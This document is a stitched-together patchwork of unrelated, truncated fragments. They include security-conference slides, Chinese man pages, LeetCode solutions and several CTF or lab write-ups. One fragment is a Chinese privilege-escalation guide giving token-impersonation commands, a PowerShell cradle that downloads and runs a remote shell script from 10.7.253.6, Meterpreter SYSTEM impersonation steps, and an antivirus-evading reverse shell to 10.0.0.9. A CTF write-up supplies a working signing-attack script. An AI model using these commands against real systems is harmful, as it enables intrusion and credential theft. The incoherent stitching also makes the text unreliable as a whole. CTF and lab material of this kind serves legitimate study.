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Linux-Stack Based V2X Framework: All You Need to Hack Connected Vehicles Duncan Woodbury, Nicholas Haltmeyer {p3n3troot0r@protonmail.com, ginsback@protonmail.com} July 29, 2017 p3n3troot0r, ginsback DEFCON V2X July 29, 2017 1 / 38 State of the World: (Semi)Autonomous Driving Technologies Vehicular automation widespread in global industry Automated driving technologies becoming accessible to general public Comms protocols used today in vehicular networks heavily ﬂawed New automated technologies still using CANBUS and derivatives p3n3troot0r, ginsback DEFCON V2X July 29, 2017 2 / 38 Stages of Autonomy Today: Stage 2 Autonomy - Combined Function Automation V2X: Stage 3 Autonomy - Combined Function Automation ) Leverage vehicular ad hoc mesh network for exchange of safety and actor/world state information p3n3troot0r, ginsback DEFCON V2X July 29, 2017 3 / 38 Critical Aspects of V2X Reliable high-throughput ad hoc mesh networking and exchange in a real-time cyberphysical environment Standardization of Stage 3 automation in federal and consumer transportation systems Enhanced safety and traﬃc optimization technologies leveraging V2X p3n3troot0r, ginsback DEFCON V2X July 29, 2017 4 / 38 Technologies Using V2X Collision avoidance (Forward Collision Warning) systems Advanced Driver Assistance Systems (ADAS) Cooperative adaptive cruise control Automated ticketing and tolling p3n3troot0r, ginsback DEFCON V2X July 29, 2017 5 / 38 Impact of V2X: Why Care? Most importantly: self-driving cars are shiny Your children will (would) ride in these Enables safety functions not possible with onboard systems V2X technologies applicable across range of cyberphysical systems NHTSA V2V NPRM: V2V to be standardized in light vehicles Its happening: You want in? p3n3troot0r, ginsback DEFCON V2X July 29, 2017 6 / 38 Tangible Beneﬁts According to the USDOT, Safety Prevent 25,000 to 592,000 crashes annually Save 49 to 1,083 lives Avoid 11,000 to 270,000 injuries Prevent 31,000 to 728,000 property


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# 令牌伪造 令牌伪造这种技术可以用本地管理员的权限模拟登陆到其他计算机上比如登陆到域管的机器上 ## powershell 使用powershell的模块可以达到令牌伪造的目的生成一个新进程作为你模拟的用户但是可以在同一个线程内工作所以你输入`whoami`可能回显出的是原始用户名但你仍然拥有目标用户的权限 这个时候你迁移新的进程到这个进程就拥有了目标用户的shell 这个模块在powersploit中 ``` https://github.com/PowerShellMafia/PowerSploit/blob/c7985c9bc31e92bb6243c177d7d1d7e68b6f1816/Exfiltration/Invoke-TokenManipulation.ps1 ``` 作为域用户调用令牌伪造没作用的话可以尝试模拟SYSTEM然后使用mimikatz dump凭据 ``` Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser" Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM" Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe" ``` 或者 ``` Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');\"};" ``` ## 利用邪恶土豆 邪恶土豆是一种特权升级技术允许通过令牌伪造从服务级别帐户升级到SYSTEM权限账户可以通过在Empire或Metasploit中上传一个exe文件漏并执行或通过内存注入psinject来实现有关更多详细信息请参阅Foxglove security对漏洞的介绍---->https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/ ### Meterpreter 获取一个普通用户的`meterpreter shell`并将rot.exe上传到这个机器  ``` getuid显示用户身份 whoami getprivs 显示有效的token getsystem如果是本地管理员则允许直接在meterpreter中进行SYSTEM令牌伪造 use incognito 列出可用的扩展 list_tokens -u 列出可用的token ``` 也可以将它作为dll上传到磁盘中并使用rundll32来执行它 ``` execute -H -c -m -d calc.exe -f /root/rot.exe upload rot.dll "c:\temp\rot.dll" execute -H -c -f "rundll32 c:\temp\rot.dll ``` 再次执行一下`list_tokens -u`试试 然后就是冒充system了 ``` impersonate_token "NT AUTHORITY\SYSTEM" ``` okget system ## Lonely potato (译者注这老毛子起的名字怎么这么奇葩的孤独的土豆上面个叫烂土豆) https://decoder.cloud/2017/12/23/the-lonely-potato/ https://github.com/decoder-it/lonelypotato 我在Windows 10上使用Defender做了测试没有触发报警你也可以实现一个更好的混淆然后反弹shell 创建一个反弹shell的powershell文件 ``` powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.9',53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data


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Frontrunning the Frontrunners D r . P a u l V i x i e , C E O F a r s i g h t S e c u r i t y , I n c .  Copyright 2016 Farsight Security, Inc. All Right Reserved. Introduction Frontrunners Exploit Non-Public Information To Register Domain Names For Profit  "This Advisory considers the opportunity for a party with some form of insider information to track an Internet users preference for registering a domain name and preemptively register that name. SSAC likens this activity to front running in stock and commodities markets and calls this behavior domain name front running. In the domain name industry, insider information would be information gathered from the monitoring of one or more attempts by an Internet user to check the availability of a domain name." "SAC 022: SSAC Advisory on Domain Name Front Running," ICANN Security and Stability Advisory Committee, October 2007, [emphasis added] https://www.icann.org/en/system/files/files/sac-022-en.pdf Classic "Add Grace Period" Frontrunning Was Terminated By ICANN Policy Changes  "In response to community concerns about the excessive use and abuse of the five-day AGP (Add Grace Period), ICANN implemented two measures to address these problems that have resulted in a 99.7% decrease in AGP deletes from June 2008 to April 2009. [* * *] The solution in brief means that if a company registers and then returns more than a certain number or percentage of domains each month, they are charged for each additional registration above that amount. The result is that domain tasting becomes increasingly expensive the more a company engages in the practice [...] "Aside from the problem that domain names may have been difficult to register, domain tasting also had a series of negative consequences on the manner in which people used the Internet. If individuals accidentally allowed their domain names to lapse, it had become extremely difficult for them to get the domain back (since it was being picked up and dropped by automated systems


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流量宝藏 01 目录 解决数据孤岛 时效性 背景介绍 反入侵防漏洞 态势感知主动对抗高级威胁 重点目标 主机和应用层漏洞发现 实践探索 挖矿DN S安全协议层面的分析 背景介绍 核心思想  多层防御体系  网络流量雁过留痕 流量安全分析 应用层 主机层 网络层 重点目标 02 重点目标 信息搜集 漏洞探测 漏洞利用 权限维持 持续渗透 网络流量数据 算法层 应用场景 处理层 逻辑架构  覆盖多种场景  不同的算法适配 重点目标  高危行为  高危组件覆盖 防漏洞 重点目标  木马流量  隧道流量 反入侵 实践尝试 03 实践尝试 传统主机安全检测响应EDR系 统通过Agent方式采集主机日 志命令操作等信息然后上报 到控制中心进行策略建模从而 发现主机入侵威胁比如高风险 命令注入执行单纯基于主机端 数据仅能知道发生了什么若同 时能在流量层面针对这些强特征 命令字进行检测进一步关联 就能溯源到攻击者是如何利用的 此外流量层的检测能力也能 主机安全回溯 主机层发现的告警 流量层感知的网络路径和请求形成关联 实践尝试 ICMP木马进程也不会监听 端口对主机层检测能力提出 更大挑战由于在协议栈之前 对流量进行劫持处理主机端 tcpdump也无法抓取而作为 中间管道在流量层进行检测 分析会是更好的补充手段 木马通信 从源主机向目标主机129.226.x.x进行ping操作可以正常ping通 在目标主机上使用tcp d um p 抓取源主机1 1 5.1 59.x .x 的包无法抓获 实践尝试 1.高危端口高危组件和高危服务的对外开放 占据了漏洞攻击的很大部分靠主动扫描来感 知存在扫描周期和扫描被屏蔽的问题 2.通过流量建立相关通信特征的检测则可以 实现秒级响应业务高危端口从对外开放到被 探测利用的时间只有45秒针对资产数量较 多的大中型企业来说很难在45秒内完成一 轮扫描 3.网络上的大量扫描和探测会带来误报结合 出流量关联则能较好的解决误报问题 高危资产主动发现 实践尝试 1.漏洞扫描一般重点关注在对特征类漏洞 的发现发送特定构造参数或payload以 触发是否存在漏洞对于业务层面的不合 规行为或者逻辑类漏洞则覆盖不足比如 敏感信息明文传输越权管理后台类等 2. 扫描方法基于关键字灵活性和可维护 性不高流量分析可以引入AI算法模 型可以自动学习页面特征效果远超过传 统方案同时引入正负反馈机制配合AI 模型训练提升模型识别率此外这不但 可以监测管理后台的对外开放问题而且 也可以对存在弱口令的管理后台进行告 脆弱点/ 漏洞主动发现 JS生成的管理页面若扫描器不能解析JS则不能主动发现 实践尝试 通过分析Mirai僵尸网络的命令与心跳包提取出 属于Mirai僵尸网络C&C服务器与被控端之间的通 信流量从而感知Mirai僵尸网络的规模变化 攻击指令其中开头的"001a"代表攻击指令的长度 紧接着的"0000001e"代表了攻击的持续时间为30 秒"1e"之后的"00"代表了攻击的所采用的手法 根据对大量Mirai样本的逆向"00"代表了使用 udp进行攻击后面的"d39fcd91"代表了攻击的目 标IP之后的几位是攻击的配置项 "000431343430"代表了攻击所使用的udp包大小 为1400"070439303033"代表了攻击的目标端 口是9003 Mirai僵尸网络 Mirai攻击指令示例 Mirai僵尸网络规模 实践尝试 流量特征在挖矿程序与交换端点进行通讯时采 用了jsonrpc协议这点与门罗币挖矿相同并且 数据包的强特征明显可以针对数据包中的关键词 或者数据包中的结构进行检测 端口特征Swarm项目在运行时默认使用1633 16341635这三个端口来进行数据交换 加密流量能够在握手协议和证书两个层面来做一 些事情由于挖矿的特殊性矿池的域名证书是 不会轻易进行变化的并且矿池的具有聚集属性 即越大的矿池集合到的矿机越多越能够保证收益 的稳定性所以也可以针对排名较为靠前的矿池进 行域名和证书的收集添加针对性的检测策略 SWARM挖矿 Jsonrpc协议 实践尝试 三大类域名黑白灰的明显不同的 统计特征 建立了一套基于AI+规则的DNS隧道流量 检测系统现网检出的隧道流量大多还是 以正规厂商的DNS隧道及个人测试DNS 隧道工具为主示例如下表所示可以 顺道发现一些与隧道相似大量乱码域名 请求的DGA域名 DNS隧道 隧道流量和普通流量信息熵 隧道流量和 普通流量域名编码特征 展望 04 展望  加密流量https,quic的解决 思路  基于黑特征的检测算法的失效  解决方案接入解密网关同 时对于某些场景需要降低对 黑特征关键字的依赖综合 利用大数据AI等手段构建 基于行为的检测机制比如木 马主控C&C行为的发现 挑战 THANKS


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1 threat protection | compliance | archiving & governance | secure communication Malware Command and Control Channels - a journey into Darkness - By Brad Woodberg - Emerging Threats Product Manager / Proofpoint 2 Agenda C2 Intro and Background (7 mins) Modern C2 Techniques (6 mins) Case Studies (15 mins) Predictions for C2 (5 mins) Defense (10 mins) Wrap Up (2 mins) 3 Why Command & Control? Vulnerabilities, Exploits, and Malware grab the headlines and analyst focus While very interesting, it is also very noisy, many exploits fail, very FP prone. If you can effectively detect C2 activity, you have a high fidelity indicator that an asset is actually compromised. With C2, the tables are turned on attackers, they go on defense, and we go on offense. 4 T-0: Initial Infection Modern malware is delivered in one of two ways:  Executable Content: Binary executables, embedded executable content like macros typically through web or email channels on the network.  Exploit Driven: An exploit against a software vulnerability such as those against Flash, PDF, Java, Office Docs, Browsers, and other network enabled applications. Regardless of how modern malware compromises a system, it is rarely autonomous. Dridex CVE-2016-4117 Angler EK 5 T-1: Rough Landings Initial malware execution may occur under non-ideal scenarios: Malware may land on a non-target asset Malware may not have sufficient privileges when it executes Malware may be delivered in pieces to evade detection / fit into buffers Malware may require payload before it is malicious (e.g. TinyLoader) Malware may require coordination with C2 for operating instructions before it takes action (e.g. Crypto Ransomware waiting to receive a key) Enter Command and Control 6 T-2: Escalation Complete malware breach by acquiring additional executables, payloads, and configurations.  May be as simple as a word doc downloading an EXE (e.g. Dridex),  Or as complex as a dropper downloading an entirely new malware (e.g. Tinyloader / AbaddonP


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攻防演练中的攻击战术演进 长亭科技 崔勤 变化与机会 甲 方 乙 方 监管 实 战 实战标准下的安全效果更真实 1. 结果导向不限制手法 2. 攻防两端深度参与不再仅仅是一份检测报告体验感更足 3. 低危漏洞安全意识不重要 实战标准的特点 乙 方 实 战 攻防演练 攻防演练是实战视角下最佳验证手段之 一 攻防演练红队 1. 能力象限 2. 框架的演进 3. 决策及思考攻击战术 攻防演练框架演进 以为人为核心到组织矩阵 攻防演练框架的演进  范围  速度  内容  影响范围  利用程度  自动化程度  隐蔽性  对抗能力 攻防演练决策及思考 初始信息收集 初始入侵 站稳脚跟 提升权限 内部信息收集 完成目标 横向移动 维持权限 1. 信息 是APT攻击的第一生产力贯穿APT攻击的整个生命周期优秀的情报能力可以令攻击事半功倍 2. 漏洞 是撕开防线的武器需要依靠信息精确制导 3. 工具 是潜伏敌线刺探情报的间谍主要包括远控日志流量密码窃取等后渗透工具 核心要素 战术总结及思考 - 高效的信息收集自动化 01 02 03 04 搜 集 资 产  IP  域 名  人 员信息等 对资产进行跟 踪针对临时 新增资产辅 助进行蜜罐识 别 识别资产指纹  cms  第 三 方系统组件 中间件等 以便进行漏洞 利用 围绕特定人员 搜集信息以 供社工钓鱼 05 理解业务了 解并选择潜在 的攻击路径 战术总结及思考 - 应用漏洞 vs 基础设施漏洞 应用漏洞 基础设施漏洞 优势 开发成本较低 利用效果好 劣势 维护成本高利用程度差异大 开发成本高 使用范围 互联网扫描阶段 内网重灾区 通用应用软件OAMAIL 降维打击 战术总结及思考 - 供应链安全 1. 外包驻场对客户人员架构不熟悉导致被钓鱼 2. 同一外包开发写出相似漏洞更可怕的逻辑漏洞 3. 软硬件产品VPN虚拟化平台堡垒机OA邮箱等 4. 网络专线与合作方打通 5. 供应商的开发依赖存在安全隐患 战术总结及思考 - 安全厂商对抗 安全/运维/监控设备 Ø 提前储备相关0Day或1day可供内网横纵向扩展利用 Ø 一般以server端控agent端或者先从agent打到server再打其他 agent的形式 Ø 安全设备不安全 战术总结及思考 - 有效权限 攻防演练-展望 攻防演练中的某些问题或环节可能会演变成产品进一步提升普适度覆盖越来越多的客户提 高整体安全水平


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WTF Happened to the Constitution?! The Right to Privacy in the Digital Age Michael theprez98 Schearer DEFCON 19 Las Vegas, NV Michael theprez98 Schearer  Founder and Owner, Leverage Consulting & Associates  8+ years in the U.S. Navy as an EA-6B Prowler Electronic Countermeasures Officer  Veteran of aerial combat missions over Afghanistan and Iraq  Spent 9 months on the ground in Iraq as a counter-IED specialist  Founding member of Church of WiFi and Unallocated Space, and father of four Why you should be skeptical  I am not a lawyer  My presentation is (both) unintentionally and intentionally biased by my own beliefs  This isnt a political presentation, but it is inevitably influenced by political issues  Bottom line: Dont take my word for it; read the source material and make up your own mind! WTF HAPPENED TO THE CONSTITUTION? Part I: History The Right to Privacy  What is it?  Where does it come from? History (1/2)  Magna Carta (1215)  Divine Right of Kings (~1600-88)  Semaynes Case (1604)  Lex, Rex (1644)  The Glorious Revolution (1688)  English Bill of Rights (1689)  Paxsons Case (1760)  William Pitt, Earl of Chatham (1763)  Wilkes v. Wood (1763), Entick v. Carrington (1765) History (2/2)  Malcom Affair (1766)  Virginia Declaration of Rights (1776)  State Constitutions  State Ratifying Conventions  First Congress (1789-91)  Bill of Rights Ratification (1791)  Fourteenth Amendment (1868) Magna Carta (1215)  Proclamation by King John of certain liberties  Kings will was not arbitrary  NO Freeman shall be taken or imprisoned, or be disseised of his...Liberties...but by...the Law of the land. Divine Right of Kings (1600-88)  Monarch derives his right to rule from God  Not subject to the people, laws, or even the Church  Theory was used to justify absolute monarchism Semaynes Case (1604)  Gresham and Berisford--joint tenants  Berisford died and left some papers to Semayne  Sheriff of London, with a valid writ, entered the house by breaking down the doors the house of


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'\"t .\" @(#)lilo.8 1.0 950728 aeb .\" This page is based on the lilo docs, which carry the following .\" COPYING condition: .\" .\" LILO program code, documentation and auxiliary programs are .\" Copyright 1992-1994 Werner Almesberger. .\" All rights reserved. .\" .\" Redistribution and use in source and binary forms of parts of or the .\" whole original or derived work are permitted provided that the .\" original work is properly attributed to the author. The name of the .\" author may not be used to endorse or promote products derived from .\" this software without specific prior written permission. This work .\" is provided "as is" and without any express or implied warranties. .\" .\" Original version, Andries Brouwer (aeb@cwi.nl), 950728 .\" Added t directive, as Daniel Quinlan asked, 950824 .\" .TH LILO 8 "28 July 1995" .SH NAME lilo \- 安装引导装入程序 .SH 总述 主要功能: .LP .B  /sbin/lilo \- 安装引导装入程序 .LP 辅助用途: .LP .B /sbin/lilo q \- 查询影射表 .br .B /sbin/lilo R \- 设置下次启动的默认命令行 .br .B /sbin/lilo I \- 查询当前内核的路径 .br .B /sbin/lilo {-u|-U} \- 卸载lilo .SH 使用说明 .LP lilo 安装一个你在下一次启动时被激活的引导装入程序 它有多项的选择. .LP .TP .B \-\v 增加冗余.给出一个或更多的-v选项 使lilo 更详细. .TP .B \-\q 列表当前已被影射的文件. .B lilo 维护着一个文件,缺省的是 .IR /boot/map, 包含了启动内核的名称和定位位置 这个选项列出在其中的名字. .BI \-\m  影射文件名 使用指定的影射文件代替默认的. .TP .BI \-\C 配置文件名 .B lilo 从这个文件中读取有关影射文件的指令, 省缺的是 .IR /etc/lilo.conf. 这个选项能使用一个指定的非默认的配置文件. .TP .BI \-\d  延迟 如果你有几个指定的内核, 在启动时按下Shift 键, 引导程序会提供一个你选 择使用哪个系统内核去启动的机会. 一个预期的时间后列表的第一项将被引导. 这个选项指定一个以十分之一秒为单位的超时延迟. .TP .BI \-\D  标记 使用给出标记的内核去代替第一个来作为默认的引导. .TP .BI \-\r  root-目录 做任何修改之前改变root的位置到指出的目录. 习惯上用于纠正从软盘启动的安装. .TP .BI \-\t  只进行测试. 不会真正的写入新的启动或影射文件. 和\fB-v\fP一起使用得知.B lilo 大约有什么要做. .TP .B \-\c  影射压缩.将合并读入从临近部分的请求. 加速启动(尤其从软盘). .TP .BI \-\f  disk-tab 指定磁盘参数文件. (省缺的是 .IR /etc/disktab.) .TP .BI \-\i  boot-sector 指定一个文件作为boot sector使用.(省缺的是 .IR /boot/boot.b.) .TP .BI \-\l  产生线性sector地址代替sector/head/cylinder 地址. .TP .BI \-\P  {fix|ignore} 修理(或忽略)被破坏的分区表, 例如, 分区表用线性的和sector/head/cylinder 地址不协调. .TP .BI \-\s  save-file 当 .B


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WMAP: Metasploit goes Web ET Introduction  No agenda in this presentation  No Sun Wu Tzu The Art of War Stuff In this presentation either.  #nomorefree-art-of-war-stuff-in-security- presentations.  No history of web scanners Introduction  Efrain Torres  2*5+ years enjoying IT security  Metasploit team  et [at] metasploit.com WMAP  Web assessment as Metasploit auxiliary modules  Run modules by hand or automated  Still early stages  blame it to the crisis  Metasploit Prime (SecTor 08)  Expect a big announcement soon!, HD  This is it. WMAP  Why?  Struggle with tools that find vulnerabilities while browsing an application.  Easy way to get detected by IDS/IPS  Crawl as a user.  Attack like a ninja later.  Suffering by tools that can only be run on windows environments.  Tied to a specific browser  IE Control. (You are assuming the target is good and no evil) WMAP  Why?  Too much focus on whistles and bells.  When was the last time a pie chart was useful for you.  No more crap regarding vulnerabilities classification and risks.  Sometimes a High is just a Low  (I'm not talking about FPs)  And a couple of Lows can get you High  What the hell is a High, Medium, Low?  Real Impact? WMAP NO YES WMAP  Objectives  A way to tie testing methods with exploitation methods  Make something useful to help in the assessment of anything related to HTTP/S  WMAP may be used as a scanner but it should be treated as an extension of the Metasploit framework. WMAP  The more web assessment/scanners/etc tools the better.  Each tool has its own limitations, pros and cons.  Choose the damn tool you like (its just a tool)  A Poor Workman Blames His Tools  W3AF is awesome.  SQLmap is awesome.  _________ WMAP Multiple Clients Any Proxy Metasploit DB Simple modules Ruby WMAP  db_wmap  Identify possible targets  Build target website structure  Run the modules in a specific order  Reporting msf > load db_wmap [*] =[ WMAP v0.5 - ET LoWNOISE [*] Successfully loaded plugin: db_wmap msf > db_create /path/t


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'\" t .TH "MACHINE\-ID" "5" "" "systemd 231" "machine-id" .\" ----------------------------------------------------------------- .\" * Define some portability stuff .\" ----------------------------------------------------------------- .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .\" http://bugs.debian.org/507673 .\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .ie \n(.g .ds Aq \(aq .el .ds Aq ' .\" ----------------------------------------------------------------- .\" * set default formatting .\" ----------------------------------------------------------------- .\" disable hyphenation .nh .\" disable justification (adjust text to left margin only) .ad l .\" ----------------------------------------------------------------- .\" * MAIN CONTENT STARTS HERE * .\" ----------------------------------------------------------------- .SH "NAME" machine-id \- 本机"machine ID"配置文件 .SH "SYNOPSIS" .PP /etc/machine\-id .SH "描述" .PP /etc/machine\-id 文件包含一个 在安装操作系统时生成的专属于本系统的独一无二的"machine ID" "machine ID"是一个32字符长度的十六进制小写字母字符串 并以换行符结尾 其本质是一个128位二进制整数的16进制表示 .PP "machine ID"通常在系统安装时从一个随机数源生成 并且之后无论经过多少次开关机也一直保持不变 另一方面对于无状态系统如果此文件为空 将在系统启动的早期自动随机生成一个 .PP "machine ID"一旦生成应该永远保持不变 即使系统的硬件发生了变化也不应该修改它 .PP 这里的"machine ID"与"D\-Bus machine ID" 遵守相同的格式与逻辑 .PP 无论主机的网络配置如何变化 应用程序始终可以使用"machine ID" 在全球范围内精确的识别一台主机基于上述特性 "machine ID" 机制可用于取代 POSIX 的 \fBgethostid\fR(3) 系统调用功能 .PP 操作系统的安装程序可以在安装时使用 \fBsystemd-machine-id-setup\fR(1) 工具来初始化"machine ID" 可以使用 \fBsystemd-firstboot\fR(1) 初始化已挂载(但未启动)的系统镜像的"machine ID" .PP 还可以通过 \fIsystemd\&.machine_id=\fR 内核引导选项 或者 systemd 的 \fB\-\-machine\-id=\fR 命令行选项 来设置"machine ID"这种方式经常用于网络启动的场景中 注意不可将"machine ID"设为全零值 .SH "与 OSF UUID 的关系" .PP "machine ID"符合 \m[blue]\fBRFC 4122\fR\m[]\&\s-2\u[1]\d\s+2 规范(OSF v4 UUID) 同时也符合 Microsoft GUID 规范 .SH "历史" .PP /etc/machine\-id 文件的格式源自D\-Bus的 /var/lib/dbus/machine\-id 文件 实际上/var/lib/dbus/machine\-id 很可能就是指向 /etc/machin


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## dub-key (crypto, 120p) > My friend set up a small signing scheme, however she won't let me sign stuff. Can you get it signed? > > Find it at dub-key-t8xd5pn6.9447.plumbing port 9447 > > [dub-key.py](dub-key.py) ###PL [ENG](#eng-version) Rozpoczeliśmy od analizy algorytmu podpisywania i jego własności (w skrócie - podpisywanie polega na tym że zmieniamy wiadomość w graf, i podpis to iloczyn długości wszystkich cykli w wiadomości). Niestety, nie udało nam się skończyć pisać pełnego ataku przed końcem CTFa, ale w ostatnich godzinach zdecydowaliśmy się wykonać trywialny atak na algorytm podpisywania. Otóż w tym zadaniu możemy podpisać dowolną wiadomość poza jedną - tą którą mamy podpisać żeby dostać flagę. Zauważyliśmy, że jeśli zmienimy tylko jeden bajt w wiadomości i podpiszemy go, to jest spora szansa że podpis się nie zmieni Oszacowaliśmy tą szansę jako pesymistycznie 1/(256*e), ale prawdopodobnie znacznie większą - i rzeczywiście, w praktyce już po kilkudziesięciu sprawdzeniach udało się. Pomysł sprowadza się do: msg = odbierz_wiadomość_do_podpisania() msg1 = msg[-1] + '\x00' sig1 = podpisz(msg1) wyślij_podpis(sig1) Tak więc nasz cały kod atakujący wyglądał tak: ```python import hashlib import socket import string import itertools import base64 def pow(init): for c in itertools.product(string.lowercase, repeat=6): dat = init + ''.join(c) hash = hashlib.sha1(dat) if hash.digest().endswith('\x00\x00\x00'): return dat def recv(): return s.recv(99999) return r def send(msg): s.send(msg) while True: HOST, PORT = 'dub-key-t8xd5pn6.9447.plumbing', 9447 s = socket.socket() s.connect((HOST, PORT)) inp = recv() print inp p = pow(inp) send(p) r = recv() tosign = recv().split("\n")[0] dat = base64.b64decode(tosign) dat = dat[:-1] + '\x00' send('1\n') send(base64.b64encode(dat)) r = recv() # podpisane dane t = recv() # sign something send('2\n') send(r) print recv(), recv(), recv() ``` I, co zaskakujące, zadziałał za pierwszym razem. Flaga: 9447{Th1s_ta5k_WAs_a_B1T_0F_A_DaG}


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# Leetcode 题解 - 数组与矩阵 <!-- GFM-TOC --> * [Leetcode 题解 - 数组与矩阵](#leetcode-题解---数组与矩阵) * [1. 把数组中的 0 移到末尾](#1-把数组中的-0-移到末尾) * [2. 改变矩阵维度](#2-改变矩阵维度) * [3. 找出数组中最长的连续 1](#3-找出数组中最长的连续-1) * [4. 有序矩阵查找](#4-有序矩阵查找) * [5. 有序矩阵的 Kth Element](#5-有序矩阵的-kth-element) * [6. 一个数组元素在 [1, n] 之间其中一个数被替换为另一个数找出重复的数和丢失的数](#6-一个数组元素在-[1-n]-之间其中一个数被替换为另一个数找出重复的数和丢失的数) * [7. 找出数组中重复的数数组值在 [1, n] 之间](#7-找出数组中重复的数数组值在-[1-n]-之间) * [8. 数组相邻差值的个数](#8-数组相邻差值的个数) * [9. 数组的度](#9-数组的度) * [10. 对角元素相等的矩阵](#10-对角元素相等的矩阵) * [11. 嵌套数组](#11-嵌套数组) * [12. 分隔数组](#12-分隔数组) <!-- GFM-TOC --> ## 1. 把数组中的 0 移到末尾 283\. Move Zeroes (Easy) [Leetcode](https://leetcode.com/problems/move-zeroes/description/) / [力扣](https://leetcode-cn.com/problems/move-zeroes/description/) ```html For example, given nums = [0, 1, 0, 3, 12], after calling your function, nums should be [1, 3, 12, 0, 0]. ``` ```java public void moveZeroes(int[] nums) { int idx = 0; for (int num : nums) { if (num != 0) { nums[idx++] = num; } } while (idx < nums.length) { nums[idx++] = 0; } } ``` ## 2. 改变矩阵维度 566\. Reshape the Matrix (Easy) [Leetcode](https://leetcode.com/problems/reshape-the-matrix/description/) / [力扣](https://leetcode-cn.com/problems/reshape-the-matrix/description/) ```html Input: nums = [[1,2], [3,4]] r = 1, c = 4 Output: [[1,2,3,4]] Explanation: The row-traversing of nums is [1,2,3,4]. The new reshaped matrix is a 1 * 4 matrix, fill it row by row by using the previous list. ``` ```java public int[][] matrixReshape(int[][] nums, int r, int c) { int m = nums.length, n = nums[0].length; if (m * n != r * c) { return nums; } int[][] reshapedNums = new int[r][c]; int index = 0; for (int i = 0; i < r; i++) { for (int j = 0; j < c; j++) { reshapedNums[i][j] = nums[index / n][index % n]; index++; } } return reshapedNums; } ``` ## 3. 找出数组中最长的连续 1 485\. Max Consecutive Ones (Easy) [Leetcode](https://leetcode.com/problems/max-consecutive-ones/description/) / [力扣](https://leetcode-cn.com/problems/max-consecutive-ones/description/) ```java public


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# KeyGenMe Reversing, 423 points ## Description: A binary file was attached, in addition to an address and port. ## Solution: Let's run the binary: ```console root@kali:/media/sf_CTFs/tamu/KeyGenMe# ./keygenme Please Enter a product key to continue: ``` So we'll need a valid product key in order to proceed. Let's open in a disassembler: ```console root@kali:/media/sf_CTFs/tamu/KeyGenMe# r2 keygenme -- Finnished a beer [0x00000820]> aaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Constructing a function name for fcn.* and sym.func.* functions (aan) [x] Type matching analysis for all functions (afta) [x] Use -AA or aaaa to perform additional experimental analysis. [0x00000820]> afl 0x00000000 10 459 -> 461 sym.imp.__libc_start_main 0x00000750 3 23 sym._init 0x00000780 1 6 sym.imp.puts 0x00000790 1 6 sym.imp.strlen 0x000007a0 1 6 sym.imp.__stack_chk_fail 0x000007b0 1 6 sym.imp.printf 0x000007c0 1 6 sym.imp.fgets 0x000007d0 1 6 sym.imp.strcmp 0x000007e0 1 6 sym.imp.malloc 0x000007f0 1 6 sym.imp.setvbuf 0x00000800 1 6 sym.imp.fopen 0x00000810 1 6 sub.__cxa_finalize_810 0x00000820 1 43 entry0 0x00000850 4 50 -> 40 sym.deregister_tm_clones 0x00000890 4 66 -> 57 sym.register_tm_clones 0x000008e0 5 58 -> 51 sym.__do_global_dtors_aux 0x00000920 1 10 entry1.init 0x0000092a 4 176 sym.enc 0x000009da 5 108 sym.verify_key 0x00000a46 8 244 main 0x00000b40 3 101 -> 92 sym.__libc_csu_init 0x00000bb0 1 2 sym.__libc_csu_fini 0x00000bb4 1 9 sym._fini [0x00000820]> s sym.main ``` An overview of `main` is: ``` .---------------------------------------------------------. | [0xa46] | | 0x00000a67 size_t size | | 0x00000a6c int mode | | 0x00000a71 char *buf | | 0x00000a76 FILE*stream | | 0x00000a79 call sym.imp.setvbuf | | 0x00000000 [28] ---- section size 254 named .shstrtab | | 0x00000a7e const char *s | | 0x00000a7e str.Please_Enter_a_product_key_to_continue: | | 0x00000a85 call sym


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# HackLABvulnix > 下载地址https://download.vulnhub.com/hacklab/Vulnix.7z ## 实战操作 ### 信息收集 ``` (rootkali)-[~] # fping -a -g 192.168.32.0/24 > /tmp/scan.log (rootkali)-[~] # cat /tmp/scan.log 1  192.168.32.1 192.168.32.2 192.168.32.130 192.168.32.143 ``` 找到靶机IP`192.168.32.143` 对IP进行端口扫描 ``` (rootkali)-[~] # nmap -sT -sC -sV -A -O -p1-65535 192.168.32.143 Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-29 21:58 EDT Nmap scan report for 192.168.32.143 Host is up (0.00085s latency). Not shown: 65518 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 10:cd:9e:a0:e4:e0:30:24:3e:bd:67:5f:75:4a:33:bf (DSA) | 2048 bc:f9:24:07:2f:cb:76:80:0d:27:a6:48:52:0a:24:3a (RSA) |_ 256 4d:bb:4a:c1:18:e8:da:d1:82:6f:58:52:9c:ee:34:5f (ECDSA) 25/tcp open smtp Postfix smtpd |_smtp-commands: vulnix, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN |_ssl-date: 2022-05-30T01:58:33+00:00; +2s from scanner time. 79/tcp open finger Linux fingerd |_finger: No one logged on.\x0D 110/tcp open pop3 Dovecot pop3d |_pop3-capabilities: SASL PIPELINING TOP RESP-CODES STLS UIDL CAPA |_ssl-date: 2022-05-30T01:58:33+00:00; +2s from scanner time. 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 